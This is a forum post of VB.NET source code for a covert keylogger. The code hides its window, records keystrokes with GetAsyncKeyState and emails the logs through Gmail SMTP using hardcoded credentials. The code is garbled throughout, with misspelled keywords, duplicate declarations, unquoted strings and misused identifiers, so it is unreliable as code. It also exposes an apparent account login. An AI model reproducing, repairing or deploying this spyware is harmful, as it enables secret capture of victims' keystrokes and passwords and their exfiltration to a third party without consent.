optinon strict on Imports System.Net.mail Public Class Form1 prive declare function getasynckeystate lib user32 (byval vkey as long) as integer Private Sub Tmremail_Elapsed(sender As Object, e As Timers.ElapsedEventArgs) Handles Tmremail.Elapsed Try Dim smtpserver As New SmtpClient smtpserver.EnableSsl = True Dim mail As New MailMessage smtpserversever.credentials = New Net.NetworkCredential(zeddix000@gmail, zeddix0007991) smtpserver.Port = 587 smtpserver.Host = smtp.gmail mail = New MailMessage mail.form = New MailAddress(zeddix000@gmail) mail.To.Add(zeddix000@gmail) mail.Subject(New hacked logs !) mail.Body = txtlogs.txt smtpserver.server.send(mail) Catch ex As Exception Me.Close() End Try End Sub Private Sub tmrkeys_Elapsed(sender As Object, e As Timers.ElapsedEventArgs) Handles tmrkeys.Elapsed Dim result As Integer Dim result As String Dim i As Integer For i = 2 To 90 result = 0 result = getasynckeystate(i) If result = -32762 Then Key = Chr(i) If i = 13 Then KeyNotFoundException = vbNewLine Exit For End If Next i If Key Nothing Then If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then txtlogs.Text &= key Else txtlogs.Text &= Key.tolower End If End If If My.Computer.Keyboard.AltKeyDown AndAlso My.Computer.Keyboard.CtrlKeyDown AndAlso KeyNotFoundException = h Then Me.Visible End If End Sub Private Sub Form1_FormClosed(sender As Object, e As FormClosedEventArgs) Handles Me.FormClosed txtlogs.Text &= vbNewLine & keylogger stopped at: & Now & vbNewLine End Sub Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load Me.ShowInTaskbar = False Me.ShowIcon = False Me.Visible = False txtlogs, Text = keylogger started at: & Now & vbNewLine End Sub End Class
Posted on: Fri, 29 Aug 2014 16:35:40 +0000
Trending Topics
Recently Viewed Topics
© 2015